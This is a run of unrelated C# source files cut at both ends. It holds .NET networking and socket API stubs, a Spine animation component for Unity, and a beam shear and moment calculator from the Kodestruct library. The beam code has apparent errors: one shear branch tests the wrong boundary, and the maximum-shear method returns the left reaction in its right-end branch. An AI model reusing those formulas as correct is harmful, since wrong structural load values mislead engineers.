Add(System.Net.NetworkInformation.MulticastIPAddressInformation address) { } public virtual void Clear() { } public virtual bool Contains(System.Net.NetworkInformation.MulticastIPAddressInformation address) { return default(bool); } public virtual void CopyTo(System.Net.NetworkInformation.MulticastIPAddressInformation[] array, int offset) { } public virtual System.Collections.Generic.IEnumerator<System.Net.NetworkInformation.MulticastIPAddressInformation> GetEnumerator() { return default(System.Collections.Generic.IEnumerator<System.Net.NetworkInformation.MulticastIPAddressInformation>); } public virtual bool Remove(System.Net.NetworkInformation.MulticastIPAddressInformation address) { return default(bool); } System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() { return default(System.Collections.IEnumerator); } } public enum NetBiosNodeType { Broadcast = 1, Hybrid = 8, Mixed = 4, Peer2Peer = 2, Unknown = 0, } public delegate void NetworkAddressChangedEventHandler(object sender, System.EventArgs e); public delegate void NetworkAvailabilityChangedEventHandler(object sender, System.Net.NetworkInformation.NetworkAvailabilityEventArgs e); public partial class NetworkAvailabilityEventArgs : System.EventArgs { internal NetworkAvailabilityEventArgs() { } public bool IsAvailable { get { throw null; } } } public partial class NetworkChange { [System.ComponentModel.EditorBrowsableAttribute((System.ComponentModel.EditorBrowsableState)(1))] [System.ObsoleteAttribute("This API supports the .NET Framework infrastructure and is not intended to be used directly from your code.", true)] public NetworkChange() { } public static event System.Net.NetworkInformation.NetworkAddressChangedEventHandler NetworkAddressChanged { add { } remove { } } public static event System.Net.NetworkInformation.NetworkAvailabilityChangedEventHandler NetworkAvailabilityChanged { add { } remove { } } [System.ComponentModel.EditorBrowsableAttribute((System.ComponentModel.EditorBrowsableState)(1))] [System.ObsoleteAttribute("This API supports the .NET Framework infrastructure and is not intended to be used directly from your code.", true)] public static void RegisterNetworkChange(System.Net.NetworkInformation.NetworkChange nc) { } } public partial class NetworkInformationException : System.Exception { public NetworkInformationException() { } public NetworkInformationException(int errorCode) { } } public abstract partial class NetworkInterface { protected NetworkInterface() { } public virtual string Description { get { return default(string); } } public virtual string Id { get { return default(string); } } public static int IPv6LoopbackInterfaceIndex { get { return default(int); } } public virtual bool IsReceiveOnly { get { return default(bool); } } public static int LoopbackInterfaceIndex { get { return default(int); } } public virtual string Name { get { return default(string); } } public virtual System.Net.NetworkInformation.NetworkInterfaceType NetworkInterfaceType { get { return default(System.Net.NetworkInformation.NetworkInterfaceType); } } public virtual System.Net.NetworkInformation.OperationalStatus OperationalStatus { get { return default(System.Net.NetworkInformation.OperationalStatus); } } public virtual long Speed { get { return default(long); } } public virtual bool SupportsMulticast { get { return default(bool); } } public static System.Net.NetworkInformation.NetworkInterface[] GetAllNetworkInterfaces() { return default(System.Net.NetworkInformation.NetworkInterface[]); } public virtual System.Net.NetworkInformation.IPInterfaceProperties GetIPProperties() { return default(System.Net.NetworkInformation.IPInterfaceProperties); } public virtual System.Net.NetworkInformation.IPInterfaceStatistics GetIPStatistics() { return default(System.Net.NetworkInformation.IPInterfaceStatistics); } public virtual System.Net.NetworkInformation.IPv4InterfaceStatistics GetIPv4Statistics() { throw null; } public static bool GetIsNetworkAvailable() { return default(bool); } public virtual System.Net.NetworkInformation.PhysicalAddress GetPhysicalAddress() { return default(System.Net.NetworkInformation.PhysicalAddress); } public virtual bool Supports(System.Net.NetworkInformation.NetworkInterfaceComponent networkInterfaceComponent) { return default(bool); } } public enum NetworkInterfaceComponent { IPv4 = 0, IPv6 = 1, } public enum NetworkInterfaceType { AsymmetricDsl = 94, Atm = 37, BasicIsdn = 20, Ethernet = 6, Ethernet3Megabit = 26, FastEthernetFx = 69, FastEthernetT = 62, Fddi = 15, GenericModem = 48, GigabitEthernet = 117, HighPerformanceSerialBus = 144, IPOverAtm = 114, Isdn = 63, Loopback = 24, MultiRateSymmetricDsl = 143, Ppp = 23, PrimaryIsdn = 21, RateAdaptDsl = 95, Slip = 28, SymmetricDsl = 96, TokenRing = 9, Tunnel = 131, Unknown = 1, VeryHighSpeedDsl = 97, Wireless80211 = 71, Wman = 237, Wwanpp = 243, Wwanpp2 = 244, } public enum OperationalStatus { Dormant = 5, Down = 2, LowerLayerDown = 7, NotPresent = 6, Testing = 3, Unknown = 4, Up = 1, } public partial class PhysicalAddress { public static readonly System.Net.NetworkInformation.PhysicalAddress None; public PhysicalAddress(byte[] address) { } public override bool Equals(object comparand) { return default(bool); } public byte[] GetAddressBytes() { return default(byte[]); } public override int GetHashCode() { return default(int); } public static System.Net.NetworkInformation.PhysicalAddress Parse(string address) { return default(System.Net.NetworkInformation.PhysicalAddress); } public override string ToString() { return default(string); } } public enum PrefixOrigin { Dhcp = 3, Manual = 1, Other = 0, RouterAdvertisement = 4, WellKnown = 2, } public enum ScopeLevel { Admin = 4, Global = 14, Interface = 1, Link = 2, None = 0, Organization = 8, Site = 5, Subnet = 3, } public enum SuffixOrigin { LinkLayerAddress = 4, Manual = 1, OriginDhcp = 3, Other = 0, Random = 5, WellKnown = 2, } public abstract partial class TcpConnectionInformation { protected TcpConnectionInformation() { } public abstract System.Net.IPEndPoint LocalEndPoint { get; } public abstract System.Net.IPEndPoint RemoteEndPoint { get; } public abstract System.Net.NetworkInformation.TcpState State { get; } } public enum TcpState { Closed = 1, CloseWait = 8, Closing = 9, DeleteTcb = 12, Established = 5, FinWait1 = 6, FinWait2 = 7, LastAck = 10, Listen = 2, SynReceived = 4, SynSent = 3, TimeWait = 11, Unknown = 0, } public abstract partial class TcpStatistics { protected TcpStatistics() { } public abstract long ConnectionsAccepted { get; } public abstract long ConnectionsInitiated { get; } public abstract long CumulativeConnections { get; } public abstract long CurrentConnections { get; } public abstract long ErrorsReceived { get; } public abstract long FailedConnectionAttempts { get; } public abstract long MaximumConnections { get; } public abstract long MaximumTransmissionTimeout { get; } public abstract long MinimumTransmissionTimeout { get; } public abstract long ResetConnections { get; } public abstract long ResetsSent { get; } public abstract long SegmentsReceived { get; } public abstract long SegmentsResent { get; } public abstract long SegmentsSent { get; } } public abstract partial class UdpStatistics { protected UdpStatistics() { } public abstract long DatagramsReceived { get; } public abstract long DatagramsSent { get; } public abstract long IncomingDatagramsDiscarded { get; } public abstract long IncomingDatagramsWithErrors { get; } public abstract int UdpListeners { get; } } public abstract partial class UnicastIPAddressInformation : System.Net.NetworkInformation.IPAddressInformation { protected UnicastIPAddressInformation() { } public abstract long AddressPreferredLifetime { get; } public abstract long AddressValidLifetime { get; } public abstract long DhcpLeaseLifetime { get; } public abstract System.Net.NetworkInformation.DuplicateAddressDetectionState DuplicateAddressDetectionState { get; } public abstract System.Net.IPAddress IPv4Mask { get; } public virtual int PrefixLength { get { return default(int); } } public abstract System.Net.NetworkInformation.PrefixOrigin PrefixOrigin { get; } public abstract System.Net.NetworkInformation.SuffixOrigin SuffixOrigin { get; } } public partial class UnicastIPAddressInformationCollection : System.Collections.Generic.ICollection<System.Net.NetworkInformation.UnicastIPAddressInformation>, System.Collections.Generic.IEnumerable<System.Net.NetworkInformation.UnicastIPAddressInformation>, System.Collections.IEnumerable { protected internal UnicastIPAddressInformationCollection() { } public virtual int Count { get { return default(int); } } public virtual bool IsReadOnly { get { return default(bool); } } public virtual System.Net.NetworkInformation.UnicastIPAddressInformation this[int index] { get { return default(System.Net.NetworkInformation.UnicastIPAddressInformation); } } public virtual void Add(System.Net.NetworkInformation.UnicastIPAddressInformation address) { } public virtual void Clear() { } public virtual bool Contains(System.Net.NetworkInformation.UnicastIPAddressInformation address) { return default(bool); } public virtual void CopyTo(System.Net.NetworkInformation.UnicastIPAddressInformation[] array, int offset) { } public virtual System.Collections.Generic.IEnumerator<System.Net.NetworkInformation.UnicastIPAddressInformation> GetEnumerator() { return default(System.Collections.Generic.IEnumerator<System.Net.NetworkInformation.UnicastIPAddressInformation>); } public virtual bool Remove(System.Net.NetworkInformation.UnicastIPAddressInformation address) { return default(bool); } System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() { return default(System.Collections.IEnumerator); } } }
/***************************************************************************** * SkeletonAnimator created by Mitch Thompson * Full irrevocable rights and permissions granted to Esoteric Software *****************************************************************************/ using UnityEngine; using System.Collections; using System.Collections.Generic; using Spine; [RequireComponent(typeof(Animator))] public class SkeletonAnimator : SkeletonRenderer, ISkeletonAnimation { public enum MixMode { AlwaysMix, MixNext, SpineStyle } public MixMode[] layerMixModes = new MixMode[0]; public Skeleton GetSkeleton () { return this.skeleton; } public event UpdateBonesDelegate UpdateLocal { add { _UpdateLocal += value; } remove { _UpdateLocal -= value; } } public event UpdateBonesDelegate UpdateWorld { add { _UpdateWorld += value; } remove { _UpdateWorld -= value; } } public event UpdateBonesDelegate UpdateComplete { add { _UpdateComplete += value; } remove { _UpdateComplete -= value; } } protected event UpdateBonesDelegate _UpdateLocal; protected event UpdateBonesDelegate _UpdateWorld; protected event UpdateBonesDelegate _UpdateComplete; public Skeleton Skeleton { get { return this.skeleton; } } Dictionary<int, Spine.Animation> animationTable = new Dictionary<int, Spine.Animation>(); Dictionary<AnimationClip, int> clipNameHashCodeTable = new Dictionary<AnimationClip, int>(); Animator animator; float lastTime; public override void Reset () { base.Reset(); if (!valid) return; animationTable.Clear(); clipNameHashCodeTable.Clear(); var data = skeletonDataAsset.GetSkeletonData(true); foreach (var a in data.Animations) { animationTable.Add(a.Name.GetHashCode(), a); } animator = GetComponent<Animator>(); lastTime = Time.time; } void Update () { if (!valid) return; if (layerMixModes.Length != animator.layerCount) { System.Array.Resize<MixMode>(ref layerMixModes, animator.layerCount); } float deltaTime = Time.time - lastTime; skeleton.Update(Time.deltaTime); //apply int layerCount = animator.layerCount; for (int i = 0; i < layerCount; i++) { float layerWeight = animator.GetLayerWeight(i); if (i == 0) layerWeight = 1; var stateInfo = animator.GetCurrentAnimatorStateInfo(i); var nextStateInfo = animator.GetNextAnimatorStateInfo(i); #if UNITY_5 var clipInfo = animator.GetCurrentAnimatorClipInfo(i); var nextClipInfo = animator.GetNextAnimatorClipInfo(i); #else var clipInfo = animator.GetCurrentAnimationClipState(i); var nextClipInfo = animator.GetNextAnimationClipState(i); #endif MixMode mode = layerMixModes[i]; if (mode == MixMode.AlwaysMix) { //always use Mix instead of Applying the first non-zero weighted clip for (int c = 0; c < clipInfo.Length; c++) { var info = clipInfo[c]; float weight = info.weight * layerWeight; if (weight == 0) continue; float time = stateInfo.normalizedTime * info.clip.length; animationTable[GetAnimationClipNameHashCode(info.clip)].Mix(skeleton, Mathf.Max(0, time - deltaTime), time, stateInfo.loop, null, weight); } if (nextStateInfo.fullPathHash != 0) { for (int c = 0; c < nextClipInfo.Length; c++) { var info = nextClipInfo[c]; float weight = info.weight * layerWeight; if (weight == 0) continue; float time = nextStateInfo.normalizedTime * info.clip.length; animationTable[GetAnimationClipNameHashCode(info.clip)].Mix(skeleton, Mathf.Max(0, time - deltaTime), time, nextStateInfo.loop, null, weight); } } } else if (mode >= MixMode.MixNext) { //apply first non-zero weighted clip int c = 0; for (; c < clipInfo.Length; c++) { var info = clipInfo[c]; float weight = info.weight * layerWeight; if (weight == 0) continue; float time = stateInfo.normalizedTime * info.clip.length; animationTable[GetAnimationClipNameHashCode(info.clip)].Apply(skeleton, Mathf.Max(0, time - deltaTime), time, stateInfo.loop, null); break; } //mix the rest for (; c < clipInfo.Length; c++) { var info = clipInfo[c]; float weight = info.weight * layerWeight; if (weight == 0) continue; float time = stateInfo.normalizedTime * info.clip.length; animationTable[GetAnimationClipNameHashCode(info.clip)].Mix(skeleton, Mathf.Max(0, time - deltaTime), time, stateInfo.loop, null, weight); } c = 0; if (nextStateInfo.fullPathHash != 0) { //apply next clip directly instead of mixing (ie: no crossfade, ignores mecanim transition weights) if (mode == MixMode.SpineStyle) { for (; c < nextClipInfo.Length; c++) { var info = nextClipInfo[c]; float weight = info.weight * layerWeight; if (weight == 0) continue; float time = nextStateInfo.normalizedTime * info.clip.length; animationTable[GetAnimationClipNameHashCode(info.clip)].Apply(skeleton, Mathf.Max(0, time - deltaTime), time, nextStateInfo.loop, null); break; } } //mix the rest for (; c < nextClipInfo.Length; c++) { var info = nextClipInfo[c]; float weight = info.weight * layerWeight; if (weight == 0) continue; float time = nextStateInfo.normalizedTime * info.clip.length; animationTable[GetAnimationClipNameHashCode(info.clip)].Mix(skeleton, Mathf.Max(0, time - deltaTime), time, nextStateInfo.loop, null, weight); } } } } if (_UpdateLocal != null) _UpdateLocal(this); skeleton.UpdateWorldTransform(); if (_UpdateWorld != null) { _UpdateWorld(this); skeleton.UpdateWorldTransform(); } if (_UpdateComplete != null) { _UpdateComplete(this); } lastTime = Time.time; } private int GetAnimationClipNameHashCode (AnimationClip clip) { int clipNameHashCode; if (!clipNameHashCodeTable.TryGetValue(clip, out clipNameHashCode)) { clipNameHashCode = clip.name.GetHashCode(); clipNameHashCodeTable.Add(clip, clipNameHashCode); } return clipNameHashCode; } }
#region Copyright /*Copyright (C) 2015 Konstantin Udilovich Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #endregion using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Kodestruct.Analysis.BeamForces.PinnedFixed { public class UniformPartialLoad : ISingleLoadCaseBeam { const string CASE = "C3C_1"; BeamPinnedFixed beam; double L, a,b,c,d,e, w, R1, R2; bool ReactionsWereCalculated , DimensionsWereCalculated; public int NumberOfStations { get; set; } public UniformPartialLoad(BeamPinnedFixed beam, double w, double a, double b) { this.beam = beam; L = beam.Length; this.w = w; this.a = a; this.b = b; if (a+b>L) { throw new LoadLocationParametersException(L, "a", "b"); } this.c = L - (a + b); DimensionsWereCalculated = false; ReactionsWereCalculated = false; NumberOfStations = 40; } public double Moment(double X) { beam.EvaluateX(X); if (ReactionsWereCalculated==false) { CalculateReactions(); } if (DimensionsWereCalculated==false) { CalculateDimensions(); } double M; if (X<=a) //left-hand segment { M = R1 * X; BeamEntryFactory.CreateEntry("Mx", M, BeamTemplateType.Mx, 1, new Dictionary<string, double>() { {"R1",R1 }, {"X",X } }, CASE, beam); } else if (X >= a + b) //right-hand segment { M = R1 * X - w * b * (X - d); BeamEntryFactory.CreateEntry("Mx", M, BeamTemplateType.Mx, 3, new Dictionary<string, double>() { {"R1",R1 }, {"X",X }, {"w",w }, {"d",d}, {"b",b } }, CASE, beam); } else { M = R1 * X - w / 2.0 * Math.Pow(X-a,2); BeamEntryFactory.CreateEntry("Mx", M, BeamTemplateType.Mx, 2, new Dictionary<string, double>() { {"L",L }, {"X",X }, {"w",w }, {"R1",R1}, {"a",a }, }, CASE, beam); } return M; } public ForceDataPoint MomentMax() { if (ReactionsWereCalculated==false) { CalculateReactions(); } if (DimensionsWereCalculated==false) { CalculateDimensions(); } double M, X; if (w>0) { M = M1; X = M1Location; BeamEntryFactory.CreateEntry("Mx", M, BeamTemplateType.Mmax, 1, new Dictionary<string, double>() { {"X",X }, {"w",w }, {"R1",R1}, {"a",a } }, CASE, beam, true); } else { M = MSupport; X = L; BeamEntryFactory.CreateEntry("Mx", M, BeamTemplateType.Mmax, 2, new Dictionary<string, double>() { {"L",L }, {"X",L }, {"w",w }, {"a",a }, {"b",b }, {"c",c }, {"d",d}, {"e",e} }, CASE, beam, true); } return new ForceDataPoint(X, M); //double M = double.NegativeInfinity; //double Xgovern=0; //beam.LogModeActive = false; //List<double> Stations = CreateStationList(); //foreach (var sta in Stations) //{ // double Mcurrent = Moment(sta); // M = Mcurrent > M ? Mcurrent : M; // Xgovern = Mcurrent > M ? sta : Xgovern; //} //beam.LogModeActive = true; //return CreateEntry(Xgovern, M, true, false); } //private ForceDataPoint CreateEntry(double X, double M, bool IsMax, bool IsMin) //{ // Dictionary<string, double> valDic = new Dictionary<string, double>() // { {"L",L }, // {"X",X }, // {"w",w }, // {"a",a }, // {"b",b }, // {"c",c }, // {"d",d}, // {"e",e} // }; // if (X <= a) //left-hand segment // { // BeamEntryFactory.CreateEntry("Mx", M, BeamTemplateType.Mmax, 1, // valDic, CASE, beam, IsMax, IsMin); // } // else if (X >= a + b) //right-hand segment // { // BeamEntryFactory.CreateEntry("Mx", M, BeamTemplateType.Mmax, 3, // valDic, CASE, beam, IsMax, IsMin); // } // else // { // BeamEntryFactory.CreateEntry("Mx", M, BeamTemplateType.Mmax, 2, // valDic, CASE, beam, IsMax, IsMin); // } // return new ForceDataPoint(X, M); //} private List<double> CreateStationList() { List<double> Stations = new List<double>(); int N = NumberOfStations; int Nsegments = N - 1; double step = L / Nsegments; for (int i = 0; i < NumberOfStations; i++) { double X = i * step; Stations.Add(X); } return Stations; } public ForceDataPoint MomentMin() { if (ReactionsWereCalculated==false) { CalculateReactions(); } if (DimensionsWereCalculated==false) { CalculateDimensions(); } double M, X; if (w < 0) { M = M1; X = M1Location; BeamEntryFactory.CreateEntry("Mx", M, BeamTemplateType.Mmax, 1, new Dictionary<string, double>() { {"X",X }, {"w",w }, {"R1",R1}, {"a",a } }, CASE, beam, false,true); } else { M = MSupport; X = L; BeamEntryFactory.CreateEntry("Mx", M, BeamTemplateType.Mmax, 2, new Dictionary<string, double>() { {"L",L }, {"X",L }, {"w",w }, {"a",a }, {"b",b }, {"c",c }, {"d",d}, {"e",e} }, CASE, beam, false, true); } return new ForceDataPoint(X, M); //double M = double.PositiveInfinity; //double Xgovern = 0; //beam.LogModeActive = false; //List<double> Stations = CreateStationList(); //foreach (var sta in Stations) //{ // double Mcurrent = Moment(sta); // M = Mcurrent < M ? Mcurrent : M; // Xgovern = Mcurrent < M ? sta : Xgovern; //} //beam.LogModeActive = true; //return CreateEntry(Xgovern, M, false, true); } public double Shear(double X) { beam.EvaluateX(X); if (ReactionsWereCalculated==false) { CalculateReactions(); } if (DimensionsWereCalculated==false) { CalculateDimensions(); } double V; if (X<=a) { V = R1; BeamEntryFactory.CreateEntry("Vx", V, BeamTemplateType.Vx, 1, new Dictionary<string, double>() { {"X",X } }, CASE, beam); } else if (X>=b) { V = R2; BeamEntryFactory.CreateEntry("Vx", V, BeamTemplateType.Vx, 3, new Dictionary<string, double>() { {"X",X } }, CASE, beam); } else { V = R1 - w * (X - a); BeamEntryFactory.CreateEntry("Vx", V, BeamTemplateType.Vx, 2, new Dictionary<string, double>() { {"X",X }, {"R1",R1 }, {"a",a }, {"w",w } }, CASE, beam); } return V; } public ForceDataPoint ShearMax() { if (ReactionsWereCalculated==false) { CalculateReactions(); } if (DimensionsWereCalculated==false) { CalculateDimensions(); } double R1a = Math.Abs(R1); double R2a = Math.Abs(R2); double X, V; if (R1a>R2a) { X = 0; V = R1; BeamEntryFactory.CreateEntry("Vx", R1, BeamTemplateType.Vmax, 1, new Dictionary<string, double>() { {"X",X } }, CASE, beam, true); } else { X=L; V=R1; BeamEntryFactory.CreateEntry("Vx", R2, BeamTemplateType.Vmax, 2, new Dictionary<string, double>() { {"X",X } }, CASE, beam, true); } return new ForceDataPoint(X, V); } void CalculateReactions() { if (DimensionsWereCalculated==false) { CalculateDimensions(); } ReactionsWereCalculated = true; R1=w*b/(8.0*Math.Pow(L,3))*(12.0*e*e*L-4.0*Math.Pow(e,3)+b*b*d); BeamEntryFactory.CreateEntry("R1", R1, BeamTemplateType.R, 1, new Dictionary<string, double>() { {"L",L }, {"e",e }, {"d",d }, {"w",w}, {"a",a }, {"b",b }, {"c",c } }, CASE, beam); R2 = w * b - R1; BeamEntryFactory.CreateEntry("R2", R2, BeamTemplateType.R, 2, new Dictionary<string, double>() { {"R1",R1 }, {"w",w }, {"b",b } }, CASE, beam); } public double M1Location { get { if (ReactionsWereCalculated==false) { CalculateReactions(); } double X = a + R1 / w; return X; } } public double M1 { get { if (ReactionsWereCalculated==false) { CalculateReactions(); } double M = R1*(a+R1/(2.0*w)); return M; } } public double MSupport { get { double M = (w*b)/(8.0*L*L)*(12.0*e*e*L-4.0*Math.Pow(e,3)+b*b*d-8.0*e*L*L); return M; } } private void CalculateDimensions() { this.d = a+b/2; this.e = c+b/2; Dictionary<string, double> valDic = new Dictionary<string, double>() { {"a",a }, {"b",b }, {"c",c }, {"d",d }, {"e",e }, {"L",L } }; BeamEntryFactory.CreateEntry("c", c, BeamTemplateType.c, 0, valDic, CASE, beam); BeamEntryFactory.CreateEntry("c", c, BeamTemplateType.d, 0, valDic, CASE, beam); BeamEntryFactory.CreateEntry("c", c, BeamTemplateType.e, 0, valDic, CASE, beam); DimensionsWereCalculated = true; } } }
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. // ------------------------------------------------------------------------------ // Changes to this file must follow the http://aka.ms/api-review process. // ------------------------------------------------------------------------------ namespace System.Net.Sockets { public enum IOControlCode : long { AbsorbRouterAlert = (long)2550136837, AddMulticastGroupOnInterface = (long)2550136842, AddressListChange = (long)671088663, AddressListQuery = (long)1207959574, AddressListSort = (long)3355443225, AssociateHandle = (long)2281701377, AsyncIO = (long)2147772029, BindToInterface = (long)2550136840, DataToRead = (long)1074030207, DeleteMulticastGroupFromInterface = (long)2550136843, EnableCircularQueuing = (long)671088642, Flush = (long)671088644, GetBroadcastAddress = (long)1207959557, GetExtensionFunctionPointer = (long)3355443206, GetGroupQos = (long)3355443208, GetQos = (long)3355443207, KeepAliveValues = (long)2550136836, LimitBroadcasts = (long)2550136839, MulticastInterface = (long)2550136841, MulticastScope = (long)2281701386, MultipointLoopback = (long)2281701385, NamespaceChange = (long)2281701401, NonBlockingIO = (long)2147772030, OobDataRead = (long)1074033415, QueryTargetPnpHandle = (long)1207959576, ReceiveAll = (long)2550136833, ReceiveAllIgmpMulticast = (long)2550136835, ReceiveAllMulticast = (long)2550136834, RoutingInterfaceChange = (long)2281701397, RoutingInterfaceQuery = (long)3355443220, SetGroupQos = (long)2281701388, SetQos = (long)2281701387, TranslateHandle = (long)3355443213, UnicastInterface = (long)2550136838, } [System.Runtime.InteropServices.StructLayoutAttribute(System.Runtime.InteropServices.LayoutKind.Sequential)] public partial struct IPPacketInformation { public System.Net.IPAddress Address { get { return default(System.Net.IPAddress); } } public int Interface { get { return default(int); } } public override bool Equals(object comparand) { return default(bool); } public override int GetHashCode() { return default(int); } public static bool operator ==(System.Net.Sockets.IPPacketInformation packetInformation1, System.Net.Sockets.IPPacketInformation packetInformation2) { return default(bool); } public static bool operator !=(System.Net.Sockets.IPPacketInformation packetInformation1, System.Net.Sockets.IPPacketInformation packetInformation2) { return default(bool); } } public enum IPProtectionLevel { EdgeRestricted = 20, Restricted = 30, Unrestricted = 10, Unspecified = -1, } public partial class IPv6MulticastOption { public IPv6MulticastOption(System.Net.IPAddress group) { } public IPv6MulticastOption(System.Net.IPAddress group, long ifindex) { } public System.Net.IPAddress Group { get { return default(System.Net.IPAddress); } set { } } public long InterfaceIndex { get { return default(long); } set { } } } public partial class LingerOption { public LingerOption(bool enable, int seconds) { } public bool Enabled { get { return default(bool); } set { } } public int LingerTime { get { return default(int); } set { } } } public partial class MulticastOption { public MulticastOption(System.Net.IPAddress group) { } public MulticastOption(System.Net.IPAddress group, int interfaceIndex) { } public MulticastOption(System.Net.IPAddress group, System.Net.IPAddress mcint) { } public System.Net.IPAddress Group { get { return default(System.Net.IPAddress); } set { } } public int InterfaceIndex { get { return default(int); } set { } } public System.Net.IPAddress LocalAddress { get { return default(System.Net.IPAddress); } set { } } } public partial class NetworkStream : System.IO.Stream { public NetworkStream(System.Net.Sockets.Socket socket) { } public NetworkStream(System.Net.Sockets.Socket socket, bool ownsSocket) { } public override bool CanRead { get { return default(bool); } } public override bool CanSeek { get { return default(bool); } } public override bool CanTimeout { get { return default(bool); } } public override bool CanWrite { get { return default(bool); } } public virtual bool DataAvailable { get { return default(bool); } } public override long Length { get { return default(long); } } public override long Position { get { return default(long); } set { } } public override int ReadTimeout { get { return default(int); } set { } } public override int WriteTimeout { get { return default(int); } set { } } protected override void Dispose(bool disposing) { } ~NetworkStream() { } public override void Flush() { } public override System.Threading.Tasks.Task FlushAsync(System.Threading.CancellationToken cancellationToken) { return default(System.Threading.Tasks.Task); } public override int Read(byte[] buffer, int offset, int size) { buffer = default(byte[]); return default(int); } public override System.Threading.Tasks.Task<int> ReadAsync(byte[] buffer, int offset, int size, System.Threading.CancellationToken cancellationToken) { return default(System.Threading.Tasks.Task<int>); } public override long Seek(long offset, System.IO.SeekOrigin origin) { return default(long); } public override void SetLength(long value) { } public override void Write(byte[] buffer, int offset, int size) { } public override System.Threading.Tasks.Task WriteAsync(byte[] buffer, int offset, int size, System.Threading.CancellationToken cancellationToken) { return default(System.Threading.Tasks.Task); } } public enum ProtocolType { Ggp = 3, Icmp = 1, IcmpV6 = 58, Idp = 22, Igmp = 2, IP = 0, IPSecAuthenticationHeader = 51, IPSecEncapsulatingSecurityPayload = 50, IPv4 = 4, IPv6 = 41, IPv6DestinationOptions = 60, IPv6FragmentHeader = 44, IPv6HopByHopOptions = 0, IPv6NoNextHeader = 59, IPv6RoutingHeader = 43, Ipx = 1000, ND = 77, Pup = 12, Raw = 255, Spx = 1256, SpxII = 1257, Tcp = 6, Udp = 17, Unknown = -1, Unspecified = 0, } public enum SelectMode { SelectError = 2, SelectRead = 0, SelectWrite = 1, } public partial class SendPacketsElement { public SendPacketsElement(byte[] buffer) { } public SendPacketsElement(byte[] buffer, int offset, int count) { } public SendPacketsElement(byte[] buffer, int offset, int count, bool endOfPacket) { } public SendPacketsElement(string filepath) { } public SendPacketsElement(string filepath, int offset, int count) { } public SendPacketsElement(string filepath, int offset, int count, bool endOfPacket) { } public byte[] Buffer { get { return default(byte[]); } } public int Count { get { return default(int); } } public bool EndOfPacket { get { return default(bool); } } public string FilePath { get { return default(string); } } public int Offset { get { return default(int); } } } public partial class Socket : System.IDisposable { public Socket(System.Net.Sockets.AddressFamily addressFamily, System.Net.Sockets.SocketType socketType, System.Net.Sockets.ProtocolType protocolType) { } public Socket(System.Net.Sockets.SocketType socketType, System.Net.Sockets.ProtocolType protocolType) { } public System.Net.Sockets.AddressFamily AddressFamily { get { return default(System.Net.Sockets.AddressFamily); } } public int Available { get { return default(int); } } public bool Blocking { get { return default(bool); } set { } } public bool Connected { get { return default(bool); } } public bool DontFragment { get { return default(bool); } set { } } public bool DualMode { get { return default(bool); } set { } } public bool EnableBroadcast { get { return default(bool); } set { } } public bool ExclusiveAddressUse { get { return default(bool); } set { } } public bool IsBound { get { return default(bool); } } public System.Net.Sockets.LingerOption LingerState { get { return default(System.Net.Sockets.LingerOption); } set { } } public System.Net.EndPoint LocalEndPoint { get { return default(System.Net.EndPoint); } } public bool MulticastLoopback { get { return default(bool); } set { } } public bool NoDelay { get { return default(bool); } set { } } public static bool OSSupportsIPv4 { get { return default(bool); } } public static bool OSSupportsIPv6 { get { return default(bool); } } public System.Net.Sockets.ProtocolType ProtocolType { get { return default(System.Net.Sockets.ProtocolType); } } public int ReceiveBufferSize { get { return default(int); } set { } } public int ReceiveTimeout { get { return default(int); } set { } } public System.Net.EndPoint RemoteEndPoint { get { return default(System.Net.EndPoint); } } public int SendBufferSize { get { return default(int); } set { } } public int SendTimeout { get { return default(int); } set { } } public System.Net.Sockets.SocketType SocketType { get { return default(System.Net.Sockets.SocketType); } } public short Ttl { get { return default(short); } set { } } public System.Net.Sockets.Socket Accept() { return default(System.Net.Sockets.Socket); } public bool AcceptAsync(System.Net.Sockets.SocketAsyncEventArgs e) { return default(bool); } public void Bind(System.Net.EndPoint localEP) { } public static void CancelConnectAsync(System.Net.Sockets.SocketAsyncEventArgs e) { } public void Connect(System.Net.EndPoint remoteEP) { } public void Connect(System.Net.IPAddress address, int port) { } public void Connect(System.Net.IPAddress[] addresses, int port) { } public void Connect(string host, int port) { } public bool ConnectAsync(System.Net.Sockets.SocketAsyncEventArgs e) { return default(bool); } public static bool ConnectAsync(System.Net.Sockets.SocketType socketType, System.Net.Sockets.ProtocolType protocolType, System.Net.Sockets.SocketAsyncEventArgs e) { return default(bool); } public void Dispose() { } protected virtual void Dispose(bool disposing) { } ~Socket() { } public object GetSocketOption(System.Net.Sockets.SocketOptionLevel optionLevel, System.Net.Sockets.SocketOptionName optionName) { return default(object); } public void GetSocketOption(System.Net.Sockets.SocketOptionLevel optionLevel, System.Net.Sockets.SocketOptionName optionName, byte[] optionValue) { } public byte[] GetSocketOption(System.Net.Sockets.SocketOptionLevel optionLevel, System.Net.Sockets.SocketOptionName optionName, int optionLength) { return default(byte[]); } public int IOControl(int ioControlCode, byte[] optionInValue, byte[] optionOutValue) { return default(int); } public int IOControl(System.Net.Sockets.IOControlCode ioControlCode, byte[] optionInValue, byte[] optionOutValue) { return default(int); } public void Listen(int backlog) { } public bool Poll(int microSeconds, System.Net.Sockets.SelectMode mode) { return default(bool); } public int Receive(byte[] buffer) { return default(int); } public int Receive(byte[] buffer, int offset, int size, System.Net.Sockets.SocketFlags socketFlags) { return default(int); } public int Receive(byte[] buffer, int offset, int size, System.Net.Sockets.SocketFlags socketFlags, out System.Net.Sockets.SocketError errorCode) { errorCode = default(System.Net.Sockets.SocketError); return default(int); } public int Receive(byte[] buffer, int size, System.Net.Sockets.SocketFlags socketFlags) { return default(int); } public int Receive(byte[] buffer, System.Net.Sockets.SocketFlags socketFlags) { return default(int); } public int Receive(System.Collections.Generic.IList<System.ArraySegment<byte>> buffers) { return default(int); } public int Receive(System.Collections.Generic.IList<System.ArraySegment<byte>> buffers, System.Net.Sockets.SocketFlags socketFlags) { return default(int); } public int Receive(System.Collections.Generic.IList<System.ArraySegment<byte>> buffers, System.Net.Sockets.SocketFlags socketFlags, out System.Net.Sockets.SocketError errorCode) { errorCode = default(System.Net.Sockets.SocketError); return default(int); } public bool 